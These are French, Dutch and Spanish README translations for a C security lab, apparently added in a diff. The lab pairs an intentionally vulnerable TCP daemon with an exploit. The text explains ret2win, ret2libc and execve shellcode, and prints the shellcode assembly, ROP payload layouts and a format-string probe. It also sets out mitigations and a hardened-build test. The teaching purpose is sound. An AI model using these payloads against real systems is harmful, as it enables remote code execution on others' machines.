| **CET / shadow stack** | `-fcf-protection=full`, soporte de kernel y CPU | El `ret` en sí: la shadow stack recuerda la *verdadera* dirección de retorno y falla ante un desajuste. Atrapa cadenas ROP que usan el `ret` de hardware | Ataques que nunca `ret` (call-oriented, o sobrescribir el objetivo de un puntero de función con una cadena de gadgets que no necesita retorno) |
| **Lenguajes seguros** | Rust, Go, C# para código nuevo | Toda la clase. Las comprobaciones de límites se imponen en ejecución, no se esperan en la revisión | — |
### Compruébalo por ti mismo
```sh
make run # demonio vulnerable
make test # las tres técnicas funcionan
make test-hardened # el mismo código fuente, mitigaciones activadas
```
`test-hardened` compila `food_hardened` con `-fstack-protector-strong -fPIE
-pie -z noexecstack`, lo intercambia, vuelve a ejecutar las tres y luego
restaura el vulnerable. Verás:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
Y en el log del demonio endurecido, la canary que se dispara:
```
*** stack smashing detected ***: terminated
```
Léelo con cuidado, porque es la línea más importante de todo el laboratorio:
**la canary atrapó a ret2win, no PIE.** Las tres técnicas mueren en la canary,
porque las tres pasan por el mismo `read()` y destruyen el mismo marco. NX solo
detiene además el *código* del shellcode; PIE solo rompe además la dirección
hardcodeada. Actívalas una a una, y descubrirás que la mayoría de las
mitigaciones individuales te dejan expuesto a algo.
---
## Archivos
| Archivo | Propósito |
|---|---|
| `food.c` | el demonio vulnerable. 6 errores numerados, cada uno con su fix en el comentario |
| `fooc.c` | el exploit. Reconocimiento de offset basado en objdump, reconocimiento de libc basado en `/proc`, 4 constructores de payload |
| `shellcode.S` | los 23 bytes de shellcode como assembly, para que sean legibles y verificables. `fooc` los lleva en línea y no lo necesita en ejecución |
| `Makefile` | compila, prueba y la comparación endurecida |
| `tests/pty_test.c` | conduce a `fooc` a través de un pseudo-terminal y comprueba salida real de shell |
| `tests/sock_test.c` | verificador independiente sobre un socket crudo, para que el resultado no dependa de `fooc` |
| `food.log` | el log del demonio. Tu prueba de lo que ocurrió |
---
## Dos errores de este laboratorio que merece la pena entender
No son los errores del programa objetivo. Son errores del exploit y de su
harness de prueba, y ambos produjeron mentiras convincentes. Están
documentados en la fuente donde viven; están aquí porque los patrones de fallo
son instructivos.
### Alineación de pila: el crash que no es una desreferencia NULL
**Síntoma.** La toma de control aterriza correctamente — `gdb` te muestra
dentro de `win()` — y entonces muere lo primero que hace `win()`, un
`dprintf()`. El handler de SIGSEGV informa de `RIP` profundo dentro del
formateador de glibc y una dirección de error de `(nil)`, lo que parece
exactamente un puntero corrupto.
**Causa.** La ABI System V AMD64 exige una alineación de pila de 16 bytes. Un
`ret` normal restaura `%rsp` exactamente como el `call` correspondiente lo
guardó, así que la invariante se preserva gratis. Nuestro `ret` desnudo no:
después de él, `%rsp = buf + rip_off`. Aquí, `buf` está alineado a 16 bytes y
`rip_off` es 88, así que la callee recibe una pila de 8 mod 16. glibc está
compilada con SSE2, y `movaps` **falla** ante un operando mal alineado. En x86
eso levanta `#GP`, no `#PF`, así que el kernel no tiene dirección de error e
informa `si_addr = 0`. Ese NULL es la pista: un error de alineación disfrazado
de desreferencia NULL.
**Fix.** Un gadget `ret` *en el offset `rip_off`*, que desplaza el objetivo
real 8 bytes, porque cada `ret` añade exactamente 8 a `%rsp`. El orden es
crítico: una versión anterior pegaba el `ret` *después* del objetivo y
producía `[ padding | target | ret ]`, donde el `ret` final nunca se alcanza y
el fix no hace nada en silencio. Un `ret` perdido que parece un error es casi
siempre intencional.
### Un socket, dos lectores: el byte que desapareció
**Síntoma.** El shellcode se reportó como funcionando. Luego se endureció el
harness pty (apagar `ECHO`, para que la terminal dejara de ecoar su propia
línea de comandos hacia sí misma), y la técnica empezó a fallar. Más
profundo, cada técnica perdía exactamente un byte del inicio de cada trozo de
salida: `uid=1000(hanez)` se imprimía como `id=1000(hanez)`, `PWNED-OK` como
`WNED-OK`, `Linux 7.2.7` como `inux 7.2.7`.
**Causa.** `fooc` solía hacer `dup2()` del socket sobre su propio stdin/stdout
y `execv()` de un `/bin/sh` *local*, mientras un hijo relay forkado también leía
el mismo socket para mover la salida al terminal. Al kernel le da igual que los
dos cooperen. Un socket de stream tiene **un** cursor de lectura, y cada lector
lo mueve, así que los bytes se reparten entre ellos de forma impredecible. El
shell local — un shell de login interactivo — leía exactamente un byte y lo
desechaba, cada vez. `strace -f` lo mostró de inmediato:
```
read(0, "u", 1) <- el shell local, comiéndose un byte
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- el relay, 1 byte corto
```
**Fix.** No hay ningún shell en este lado, punto. Hay exactamente un shell en
todo el cuadro, y está en la víctima, dentro del proceso secuestrado, con la
conexión TCP como su stdin/stdout. Este lado solo mueve bytes. Si alguna vez
necesitas dos consumidores de un stream, ese stream necesita un único lector
que lo demultiplexe deliberadamente.
**La meta-lección.** El primer resultado "funcionante" fue un falso positivo,
producido porque la pty ecoaba su propia línea de comandos hacia sí misma, y el
fix de ese falso positivo es lo que reveló el error real. Las pruebas que no
pueden fallar son peores que ninguna prueba, porque convierten "no lo sé" en
"funciona". Un harness de prueba merece la misma sospecha que el código que
prueba.
---
## Experimentar con ello
Cosas que merece la pena probar, más o menos en el orden en que más aprendes de
ellas:
1. **Cambia `FOOD_BUFSZ` a 128.** Vuelve a ejecutar `fooc`. Debería seguir
funcionando sin cambios, porque lee el offset del desensamblado. Luego
rómpelo a mano — hardcodea 88 — y míralo crashear. Después añade un segundo
array entre `buf` y los registros guardados, y mira cómo lo gestiona el
reconocimiento automático.
2. **Añade `-Wformat-security` y mira qué hace el camino de cadena de
formato.** Envía `%p %p %p %n` y mira a `food` fugando la pila.
3. **Usa gdb.** `make debug`, luego:
```gdb
(gdb) break food.c:393 # el read() que se desborda
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # observa dónde está la dirección de retorno
(gdb) c # en otra terminal: ./fooc -t ret2win
```
El handler de SIGSEGV registra `REG_RIP` y `REG_RSP`, así que `food.log` te
dice si la toma de control aterrizó, incluso cuando el hijo muere antes de
que puedas adjuntarte.
4. **Borra el fix de alineación** en `fooc.c` y mira el error `#GP` con la
firma `si_addr = 0`. Luego lee `/proc/sys/kernel/randomize_va_space` y
piensa qué randomiza ASLR y qué no.
5. **Rompe la resolución de símbolos de libc** y mira cómo se adapta `fooc`.
Todo el punto del enfoque `/proc/self/maps` es que ningún offset está
hardcodeado.
6. **Escribe una cuarta técnica.** Una cadena tipo `ret2csu` si puedes
encontrar `__libc_csu_init`, o una cadena SROP (los marcos `sigreturn` te
dejan controlar todos los registros a la vez). Ambas son ROP puro y no
necesitan memoria ejecutable.
7. **Arregla `food.c` de verdad**, un error a la vez, y vuelve a ejecutar el
exploit después de cada fix. El orden de la tabla al inicio de `food.c` es
más o menos el orden correcto en que pensar: limita primero el read, porque
nada más importa hasta que el bug desaparece.
---
## Limpieza
```sh
make stop # detiene food
make clean # elimina los productos de compilación; deja food.log en paz
pkill -x sh # solo si tienes shells sueltos de una prueba que salió mal
```
Nota: `pkill -x food` coincide exactamente con el **nombre** del proceso. No
uses `pkill -f ./food` — ese patrón también coincide con el shell donde lo
escribes y mata tu propia sesión. No es una hipótesis; ocurrió mientras se
construía este laboratorio.

434
README.FR.md Normal file
View file

@ -0,0 +1,434 @@
# food / fooc — un débordement de tampon de pile, des deux côtés
Un laboratoire de sécurité en C99 en deux moitiés :
- **`food.c`** — un démon TCP volontairement vulnérable. Il contient un vrai
débordement de tampon de pile, digne d'un manuel (CWE-120), plus quelques
bugs en prime.
- **`fooc.c`** — un exploit contre lui. Il calcule l'offset du débordement en
désassemblant le programme cible à l'exécution, lit les fuites d'adresses du
démon et obtient un shell sur la « victime » en écrasant une adresse de
retour sauvegardée.
Le but n'est pas le shell. Le but est que vous puissiez suivre de bout en bout
comment un bug de sécurité mémoire devient une exécution de code arbitraire —
puis voir exactement quelles contre-mesures arrêtent chaque maillon de cette
chaîne. Chaque ligne des deux programmes est commentée, parce que le mécanisme
est la leçon.
```
votre terminal
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (démon vulnérable)
|
fork() -> vulnerable_handler() -> overflow -> ret -> votre code
```
---
## ⚠️ Lisez ceci d'abord
**`food` est un service réseau volontairement cassé. Il ne se lie qu'à
`127.0.0.1`, et cette valeur par défaut est volontaire — laissez-la.**
- Ne l'exécutez **pas** sur une machine à laquelle vous tenez, ni sur quelque
chose qui contient des données.
- Ne le liez **pas** à `0.0.0.0` ou à une vraie interface réseau. Il est
volontairement exploitable à distance.
- Pointer `fooc` vers une machine que vous ne possédez pas ou que vous n'avez
pas l'autorisation écrite de tester est une infraction informatique dans la
plupart des juridictions — y compris en vertu de l'UK Computer Misuse Act et
de l'US Computer Fraud and Abuse Act.
- Il se lie à un port non privilégié (>1024), donc pas besoin de root. Ne
l'« améliorez » pas en ajoutant des capabilities ou en l'exécutant comme
service système.
- Chaque connexion est traitée dans un enfant `fork()`, et `food` les reape,
donc les crashs ne s'accumulent pas. Si vous retrouvez ensuite des dizaines
de `sh` qui traînent, `pkill -x sh` est le nettoyage.
En cas de doute : ce lab est fait pour une machine virtuelle ou un conteneur,
sur un réseau que vous contrôlez, sur une machine sans rien que vous
regretteriez.
---
## Démarrage rapide
```sh
make # compile food, fooc et les harnesses de test
make run # démarre food sur 127.0.0.1:2342, détaché en arrière-plan
make test # exécute les trois techniques d'exploit
make stop # arrête le démon
```
Ensuite, à la main :
```sh
./fooc -t leak # regardez les fuites d'adresses que food divulgue
./fooc -t demo -v # envoyez du bourrage ; voyez food mourir d'un SIGSEGV
./fooc -t ret2win -i # sautez vers une fonction qui existe déjà -> shell
```
### Prérequis
| Outil | Pour quoi | Remarques |
|---|---|---|
| `gcc` (ou clang) | compilation | C99. Testé avec gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` l'appelle à l'exécution |
| `nasm` | `make verify` | uniquement pour recouper la shellcode ; ignoré s'il manque |
| `gdb` | `make debug` | optionnel |
| Linux, x86-64 | les deux | la payload et la chasse aux gadgets dépendent de l'architecture |
`fooc` a aussi besoin de `-ldl` pour `dlsym()` ; le Makefile s'en charge.
---
## Le bug
Une ligne dans `food.c` est toute la surface d'attaque :
```c
char buf[FOOD_BUFSZ]; /* 64 octets */
n = read(fd, buf, FOOD_READMAX); /* jusqu'à 512 octets depuis le réseau */
```
64 octets de destination, 512 acceptés. L'attaquant écrit 448 octets au-delà
de la fin du tampon, et comme la pile croît vers le bas, « au-delà de la fin »
signifie « dans le cadre au-dessus » — et c'est exactement là que se trouvent
le pointeur de trame sauvegardé et l'**adresse de retour sauvegardée**.
Dans une fonction x86-64 compilée à `-O0` :
```
adresses hautes
+------------------------+ rbp + 16 : locales de l'appelant
| ... |
+------------------------+ rbp + 8 : ADRESSE DE RETOUR SAUVEGARDÉE <-- devient RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : notre pointeur de trame
| line[128] |
| buf[64] | <- rsp : ce que read() remplit
+------------------------+
adresses basses
```
Quand la fonction retourne, `leave; ret` pousse les 8 octets dans `RIP`, et le
CPU saute là où l'attaquant l'a décidé. Tout le reste dans ce lab est de
l'arithmétique sur où pointer.
Pour cette compilation, les chiffres sont : `buf` fait 64 octets, le `rbp`
sauvegardé fait 8, donc l'adresse de retour est à l'offset **88** du début de
`buf`. `fooc` ne hardcode pas ça — il désassemble `food` et trouve le
`lea -0x50(%rbp)` devant `call read@plt`, donc ça continue de marcher si vous
changez `FOOD_BUFSZ`.
> gcc vous le dit déjà. Compiler `food` affiche :
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. N'étouffez jamais cet avertissement
> dans du vrai code. C'est de la sécurité gratuite.
---
## Les trois techniques
`fooc -t <technique>`. Elles sont dans l'ordre où un vrai attaquant s'y
prendrait, parce que chacune a besoin de ce que la précédente vous a appris.
### 1. `ret2win` — contrôlez le pointeur d'instruction
```
[ 88 octets de bourrage ][ l'adresse du win() de food ]
^ saved rbp
^ devient RIP
```
`win()` est une fonction du programme cible qui exec `/bin/sh`. Écraser
l'adresse de retour avec son adresse, c'est tout l'exploit.
**Ce que ça apprend :** vous avez un contrôle arbitraire du pointeur
d'instruction. Pas besoin de fuite non plus, car le binaire est compilé avec
`-no-pie`, donc `win()` est à une adresse fixe pour toujours.
**L'équivalent dans le monde réel** n'est pas « les attaques sont faciles »,
mais « ne livrez pas de portes dérobées non documentées dans des binaires
réseau ». S'il existe une fonction comme `win()` dans votre binaire, un
débordement de tampon la trouvera. C'est littéralement la classe des CVE de
backdoor Juniper ScreenOS.
**Défense :** `-fPIE` (ou ASLR) randomise l'adresse de chargement, donc
l'attaquant doit connaître l'adresse — ce qui signifie en pratique qu'il lui
faut d'abord une fuite. C'est pourquoi `ret2win` échoue contre
`food_hardened`.
### 2. `ret2libc` — appelez n'importe quoi, par son nom
```
[ bourrage ][ pop rdi; ret ][ adresse de "/bin/sh" ][ adresse de system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
met rdi la chaîne à envoyer la fonction à appeler
```
À l'exécution : `ret` pousse `pop rdi; ret` dans RIP ; ça pousse le pointeur
`"/bin/sh"` dans `RDI` ; son `ret` pousse `system()` dans RIP, pendant que
`RDI` tient toujours la chaîne. `system("/bin/sh")` s'exécute.
Les gadgets (`pop rdi; ret`) ne sont pas dans `food` — cette glibc n'a pas de
`__libc_csu_init` — donc `fooc` les trouve en scannant la mémoire live de la
libc à la recherche de la paire d'octets `5f c3`. Il localise la libc via
`/proc/self/maps`, trouve les offsets de `system` et `"/bin/sh"` avec
`dlsym()` et calcule la base à partir de la fuite que `food` divulgue. Rien
n'est hardcodé, donc ça survit à une mise à jour de la libc.
**Ce que ça apprend :** une fois que vous contrôlez `RIP`, vous pouvez
enchaîner des instructions *existantes*. C'est la programmation orientée
retour (return-oriented programming), et c'est à ça que ressemblent presque
tous les vrais exploits, parce que ça ne nécessite pas de mémoire exécutable
fournie par l'attaquant.
**Défense :** aucun des flags du compilateur ne l'arrête seul. Ça marche
contre un binaire PIE, avec NX, avec canary — tant que l'attaquant a une
fuite. Les défenses sont « n'ayez pas le débordement » et « ne fuytez pas
d'adresses ». Voir le tableau ci-dessous.
### 3. `shellcode` — exécutez votre propre code machine
23 octets, placés au début du tampon, avec `RIP` pointant dessus :
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" en 8 octets bruts
push rdi ; dépose la chaîne sur la pile
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; nous voilà un shell
```
C'est la forme la plus pure du bug : l'attaquant fournit les *instructions*,
pas seulement l'adresse d'instructions qui existent déjà. Aucun offset de
libc nécessaire, donc ça marche en principe contre une cible statiquement
liée, entièrement randomisée.
`make verify` assemble `shellcode.S` et le diff contre le tableau d'octets
intégré dans `fooc.c`, pour que les deux ne puissent pas diverger.
**Défense :** **NX** (aussi appelé W^X, « no execute »). Marquer la pile comme
non exécutable fait que le matériel refuse d'y chercher des instructions, et
le `ret` atterrit sur une page qui ne peut pas tourner. C'est pourquoi
`make food` passe `-z execstack` : une pile Linux normale est `rw-p`, pas
`rwx`, et la technique meurt d'un SIGSEGV à `RIP = l'adresse de la payload`.
La leçon la plus importante du lab est que chacun de ces octets ne fonctionne
que parce qu'on a dit au compilateur de rendre la pile exécutable. Ce flag est
activé pour le bien de personne.
### Aussi inclus
| Mode | Ce qu'il fait |
|---|---|
| `-t leak` | se connecte, affiche les fuites, n'envoie rien |
| `-t demo` | envoie `rip_off + 8` octets de `0x41`, donc `RIP` devient `0x4141...` et le démon meurt. Prouve le bug sans aucune connaissance d'adresse |
| `-t sled` | un ret-sled, conservé volontairement comme exemple **échec**. Sans fuite, vous brute-foreeriez ASLR en remplissant le tampon avec l'adresse d'un `ret`. Impossible ici : `food` accepte 512 octets, donc le sled a ~53 emplacements contre ~28 bits d'entropie. Implémenté pour que vous puissiez le voir échouer et confirmer que le mécanisme est vraiment « le CPU suit une chaîne de rets » |
---
## Le tableau des contre-mesures
C'est la partie à retenir. Chaque ligne est une vraie défense, et la colonne
de droite montre ce qu'elle fait réellement à la chaîne des événements.
| Contre-mesure | Comment l'activer | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|---|---|---|---|
| **Limitez read** | `n = read(fd, buf, sizeof buf - 1);` | **Tout.** Le bug n'existe pas, donc rien en aval n'a d'importance | Rien — c'est le seul correctif complet |
| **Canary de pile** | `-fstack-protector-strong` (par défaut chez gcc) | Le `ret` : la canary est vérifiée à la sortie de la fonction, la corruption est donc détectée et le processus abort avant que `RIP` soit poussé | Un bug dans une fonction *sans* tableau (rien à protéger) ; un débordement qui reste sous la canary ; tout ce qui ne retourne pas normalement |
| **NX / W^X** | `-z noexecstack` (la valeur par défaut) | La shellcode. Les instructions de la payload ne peuvent pas être cherchées | ret2win et ret2libc complètement. C'est *la raison* pour laquelle ROP existe |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (tous deux par défaut) | Les adresses hardcodées de ret2win. Tout bouge à chaque exécution | Tout ce où l'attaquant a une fuite. ASLR augmente le prix d'un exploit ; ce n'est pas un correctif. Notez que la pile, le tas et mmap sont randomisés, mais pas le *contenu* du binaire principal — c'est ce que les chaînes ROP utilisent |
| **Ne fuytez rien** | aucun `printf("%p")` vers les clients ; initialisez avant d'afficher | La fuite d'information qui rend ASLR « gratuit » au lieu de « cher » | — |
| **N'utilisez pas `printf(user_data)`** | `printf("%s", buf)` au lieu de `printf(buf)` | Les bugs de chaîne de format : lectures de pile `%x`, écritures arbitraires `%n` — une *autre* voie vers RCE | — |
| **N'utilisez pas de chemins non fiables** | validez et `openat()` sous un répertoire fixe | Traversal de chemin (CWE-22) | — |
| **CET / shadow stack** | `-fcf-protection=full`, support noyau et CPU | Le `ret` lui-même : la shadow stack mémorise la *vraie* adresse de retour et fault en cas de mismatch. Attrape les chaînes ROP qui utilisent le `ret` matériel | Les attaques qui ne `ret` jamais (call-oriented, ou écraser la cible d'un pointeur de fonction avec une chaîne de gadgets qui n'a pas besoin de retour) |
| **Langages sûrs** | Rust, Go, C# pour le nouveau code | Toute la classe. Les vérifications de bornes sont imposées à l'exécution, pas espérées à la revue | — |
### Voyez par vous-même
```sh
make run # démon vulnérable
make test # les trois techniques fonctionnent
make test-hardened # même code source, contre-mesures activées
```
`test-hardened` compile `food_hardened` avec `-fstack-protector-strong -fPIE
-pie -z noexecstack`, l'échange, rejoue les trois techniques puis remet la
version vulnérable en place. Vous verrez :
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
Et dans le log du démon durci, la canary qui se déclenche :
```
*** stack smashing detected ***: terminated
```
Lisez bien, car c'est la ligne la plus importante de tout le lab : **la canary
a attrapé ret2win, pas PIE.** Les trois techniques meurent à la canary, parce
que les trois passent par le même `read()` et écrasent le même cadre. NX
n'arrête en plus que le *code* de la shellcode ; PIE ne casse en plus que
l'adresse hardcodée. Activez-les une par une, et vous découvrirez que la
plupart des contre-mesures isolées vous laissent exposé à quelque chose.
---
## Fichiers
| Fichier | Rôle |
|---|---|
| `food.c` | le démon vulnérable. 6 bugs numérotés, chacun avec son correctif en commentaire |
| `fooc.c` | l'exploit. Reconnaissance d'offset par objdump, reconnaissance de la libc via `/proc`, 4 constructeurs de payload |
| `shellcode.S` | les 23 octets de shellcode en assembly, pour être lisibles et vérifiables. `fooc` les embarque en ligne et n'en a pas besoin à l'exécution |
| `Makefile` | compile, teste et la comparaison durcie |
| `tests/pty_test.c` | conduit `fooc` à travers un pseudo-terminal et vérifie une vraie sortie de shell |
| `tests/sock_test.c` | vérificateur indépendant sur une socket brute, pour que le résultat ne dépende pas de `fooc` |
| `food.log` | le log du démon. Votre preuve de ce qui s'est passé |
---
## Deux bugs de ce lab qui valent la peine d'être compris
Ce ne sont pas les bugs du programme cible. Ce sont des bugs de l'exploit et
de sa harnesse de test, et les deux ont produit des mensonges convaincants.
Ils sont documentés dans la source où ils vivent ; ils sont ici parce que les
schémas d'échec sont instructifs.
### Alignement de pile : le crash qui n'est pas une déréférence NULL
**Symptôme.** L'overtake atterrit correctement — `gdb` vous montre dans
`win()` — et puis la toute première chose que fait `win()`, un `dprintf()`,
meurt. Le handler SIGSEGV rapporte `RIP` profond dans le formatter de glibc
et une adresse d'erreur de `(nil)`, ce qui ressemble exactement à un pointeur
corrompu.
**Cause.** L'ABI System V AMD64 exige un alignement de pile de 16 octets. Un
`ret` normal restaure `%rsp` exactement comme le `call` correspondant l'avait
stocké, donc l'invariant est préservé gratuitement. Notre `ret` nu ne le fait
pas : après lui, `%rsp = buf + rip_off`. Ici, `buf` est aligné sur 16 octets
et `rip_off` vaut 88, donc le callee reçoit une pile à 8 mod 16. glibc est
compilé avec SSE2, et `movaps` **fault** sur un opérande mal aligné. Sur
x86, ça soulève `#GP`, pas `#PF`, donc le noyau n'a pas d'adresse d'erreur et
rapporte `si_addr = 0`. Ce NULL est l'indice : une erreur d'alignement
déguisée en déréférence NULL.
**Correctif.** Un gadget `ret` *à l'offset `rip_off`*, qui décale la vraie
cible de 8 octets, parce que chaque `ret` ajoute exactement 8 à `%rsp`.
L'ordre est critique : une version précédente collait le `ret` *après* la
cible et produisait `[ padding | target | ret ]`, où le `ret` final n'est
jamais atteint et le correctif ne fait silencieusement rien. Un `ret` égaré
qui ressemble à un bug est presque toujours intentionnel.
### Une socket, deux lecteurs : l'octet disparu
**Symptôme.** La shellcode était rapportée comme fonctionnant. Puis la harness
pty a été durcie (désactivation de `ECHO`, pour que le terminal arrête de
s'échoir sa propre ligne de commande), et la technique a commencé à échouer.
Plus profondément, chaque technique perdait exactement un octet au début de
chaque morceau de sortie : `uid=1000(hanez)` était affiché comme
`id=1000(hanez)`, `PWNED-OK` comme `WNED-OK`, `Linux 7.2.7` comme
`inux 7.2.7`.
**Cause.** `fooc` faisait un `dup2()` de la socket sur son propre stdin/stdout
et un `execv()` d'un `/bin/sh` *local*, pendant qu'un enfant relay forké
lisait aussi la même socket pour déplacer la sortie vers le terminal. Le
noyau se moque que les deux coopèrent. Une socket stream a **une** curseur de
lecture, et chaque lecteur la déplace, donc les octets sont répartis entre eux
de façon imprévisible. Le shell local — un shell de connexion interactif —
lisait exactement un octet et le jetait, à chaque fois. `strace -f` l'a montré
immédiatement :
```
read(0, "u", 1) <- le shell local, mange un octet
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- le relay, 1 octet de trop court
```
**Correctif.** Il n'y a aucun shell de ce côté-ci, point. Il y a exactement un
shell dans tout le tableau, et il est sur la victime, dans le processus
détourné, avec la connexion TCP comme stdin/stdout. Ce côté ne fait que
déplacer des octets. Si vous avez un jour besoin de deux consommateurs d'un
flux, ce flux a besoin d'un lecteur unique qui le démultiplexe délibérément.
**La meta-leçon.** Le premier résultat « fonctionnel » était un faux positif,
produit par le fait que le pty s'échoit sa propre ligne de commande, et le
correctif de ce faux positif est ce qui a révélé le vrai bug. Des tests qui ne
peuvent pas échouer sont pires que pas de tests, parce qu'ils transforment « je
ne sais pas » en « ça marche ». Une harnesse de test mérite la même suspicion
que le code qu'elle teste.
---
## Bidouiller dessus
Des choses qui valent le coup d'essayer, à peu près dans l'ordre où vous en
apprenez le plus :
1. **Changez `FOOD_BUFSZ` en 128.** Relancez `fooc`. Ça devrait continuer de
marcher sans modification, parce qu'il lit l'offset dans le désassemblage.
Cassez-le ensuite à la main — hardcodez 88 — et voyez-le crasher. Ajoutez
puis un deuxième tableau entre `buf` et les registres sauvegardés, et voyez
la reconnaissance automatique s'en charger.
2. **Ajoutez `-Wformat-security` et voyez ce que fait le chemin de chaîne de
format.** Envoyez `%p %p %p %n` et voyez `food` fuyter la pile.
3. **Utilisez gdb.** `make debug`, puis :
```gdb
(gdb) break food.c:393 # le read() qui déborde
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # remarquez où se trouve l'adresse de retour
(gdb) c # dans un autre terminal : ./fooc -t ret2win
```
Le handler SIGSEGV journalise `REG_RIP` et `REG_RSP`, donc `food.log` vous
dit si l'overtake a atterri, même quand l'enfant meurt avant que vous
puissiez vous attacher.
4. **Supprimez le correctif d'alignement** dans `fooc.c` et voyez l'erreur
`#GP` avec la signature `si_addr = 0`. Lisez ensuite
`/proc/sys/kernel/randomize_va_space` et réfléchissez à ce qu'ASLR
randomise, et à ce qu'il ne randomise pas.
5. **Cassez la résolution de symboles de la libc** et voyez `fooc`
s'adapter. Tout l'intérêt de l'approche `/proc/self/maps` est qu'aucun
offset n'est hardcodé.
6. **Écrivez une quatrième technique.** Une chaîne de type `ret2csu` si vous
trouvez `__libc_csu_init`, ou une chaîne SROP (les cadres `sigreturn`
vous laissent contrôler tous les registres d'un coup). Les deux sont du ROP
pur et n'ont besoin d'aucune mémoire exécutable.
7. **Corrigez `food.c` proprement**, un bug à la fois, et relancez l'exploit
après chaque correctif. L'ordre du tableau en haut de `food.c` est à peu
près le bon ordre de pensée : limitez d'abord le read, car rien d'autre
n'importe tant que le bug n'est pas parti.
---
## Nettoyage
```sh
make stop # arrête food
make clean # supprime les produits de compilation ; laisse food.log tranquille
pkill -x sh # seulement si vous avez des shells qui traînent d'un test raté
```
Notez : `pkill -x food` matche le **nom** du processus exactement. N'utilisez
pas `pkill -f ./food` — ce motif matche aussi le shell dans lequel vous le
tapez et tue votre propre session. Ce n'est pas une hypothèse ; c'est arrivé
pendant la construction de ce lab.

424
README.NL.md Normal file
View file

@ -0,0 +1,424 @@
# food / fooc — een stack-bufferoverloop, van beide kanten
Een C99-beveiligingslab in twee helften:
- **`food.c`** — een bewust kwetsbare TCP-daemon. Hij heeft een echte,
schoolboekachtige stack-bufferoverloop (CWE-120), plus een paar bugs
extra.
- **`fooc.c`** — een exploit daarvoor. Hij berekent de overflow-offset door
het doelprogramma tijdens het draaien te disassembleren, leest
adres-leaks van de daemon en krijgt een shell op het "slachtoffer" door
een opgeslagen retouradres te overschrijven.
Het punt is niet de shell. Het punt is dat je van begin tot eind kunt volgen hoe
een geheugenveiligheidsbug uitgroeit tot willekeurige code-uitvoering — en
daarna precies ziet welke tegenmaatregelen elke stap in die keten stoppen.
Elke regel in beide programma's is gecommentarieerd, want het mechanisme is de
les.
```
jouw terminal
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (kwetsbare daemon)
|
fork() -> vulnerable_handler() -> overflow -> ret -> jouw code
```
---
## ⚠️ Lees dit eerst
**`food` is een bewust kapotte netwerkdienst. Hij bindt alleen aan
`127.0.0.1`, en die standaard is bewust — laat hem daar.**
- Draai hem **niet** op een machine waar je om geeft, of op iets met data.
- Bind hem **niet** aan `0.0.0.0` of een echte netwerkinterface. Hij is
bewust extern exploiteerbaar.
- `fooc` richten op een host die je niet bezit of waarvoor je geen schriftelijke
toestemming hebt om te testen, is in de meeste rechtsgebieden een
computercriminaliteitsovertreding — ook onder de UK Computer Misuse Act en
de US Computer Fraud and Abuse Act.
- Hij bindt aan een onbevoordeelde poort (>1024), dus je hebt geen root nodig.
"Verbeter" hem niet door capabilities toe te voegen of hem als
systeemdienst te draaien.
- Elke verbinding wordt afgehandeld in een `fork()`-kind, en `food` reapt
het, dus crashes stapelen zich niet op. Vind je daarna tientallen losse
`sh`-processen, dan is `pkill -x sh` de opruiming.
Bij twijfel: dit lab is voor een virtuele machine of container, op een netwerk
dat jij beheert, op een machine zonder iets dat je zou missen.
---
## Snelle start
```sh
make # bouwt food, fooc en de test-harnesses
make run # start food op 127.0.0.1:2342, losgekoppeld op de achtergrond
make test # draait alle drie de exploit-technieken
make stop # stopt de daemon
```
Daarna met de hand:
```sh
./fooc -t leak # bekijk de adres-leaks die food prijsgeeft
./fooc -t demo -v # stuur rommel; zie food sterven met SIGSEGV
./fooc -t ret2win -i # spring naar een functie die al bestaat -> shell
```
### Vereisten
| Hulpmiddel | Waarvoor | Opmerkingen |
|---|---|---|
| `gcc` (of clang) | bouwen | C99. Getest met gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` roept het tijdens het draaien aan |
| `nasm` | `make verify` | alleen om de shellcode te verifiëren; wordt overgeslagen als het ontbreekt |
| `gdb` | `make debug` | optioneel |
| Linux, x86-64 | beide | payload en gadget-jacht zijn architectuurafhankelijk |
`fooc` heeft ook `-ldl` nodig voor `dlsym()`; de Makefile regelt dat.
---
## De bug
Eén regel in `food.c` is het hele aanvalsoppervlak:
```c
char buf[FOOD_BUFSZ]; /* 64 bytes */
n = read(fd, buf, FOOD_READMAX); /* tot 512 bytes van het netwerk */
```
64 bytes bestemming, 512 bytes geaccepteerd. De aanvaller overschrijft 448
bytes voorbij het einde van de buffer, en omdat de stack naar beneden groeit,
betekent "voorbij het einde" "in het frame erboven" — en daar liggen precies de
opgeslagen framepointer en de **opgeslagen retouradres**.
In een gecompileerde x86-64-functie bij `-O0`:
```
hoge adressen
+------------------------+ rbp + 16 : locals van de aanroeper
| ... |
+------------------------+ rbp + 8 : OPGESLAGEN RETOURADRES <-- wordt RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : onze framepointer
| line[128] |
| buf[64] | <- rsp: wat read() vult
+------------------------+
lage adressen
```
Wanneer de functie terugkeert, poppen `leave; ret` de 8 bytes in `RIP`, en de
CPU springt waar de aanvaller het heeft bepaald. Al het andere in dit lab is
rekenkunde over waarheen je moet wijzen.
